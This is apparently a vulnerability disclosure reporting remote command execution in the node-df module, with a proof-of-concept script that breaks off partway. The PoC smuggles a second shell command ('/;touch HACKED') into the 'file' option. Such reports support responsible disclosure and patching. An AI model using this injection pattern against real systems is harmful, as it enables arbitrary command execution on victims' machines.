[node-df] RCE via insecure command concatenation

I would like to report a `RCE` issue in the `node-df` module. It allows to execute `arbitrary commands remotely inside the victim's PC`

// poc.js
var df = require('node-df');
var options = {
        file: '/;touch HACKED',
        prefixMultiplier: 'GB',
        isDisplayPrefixMultiplier: true,
        precision: 2
    };
 
df(options, function (error, response) {
    if (error) { throw error; } …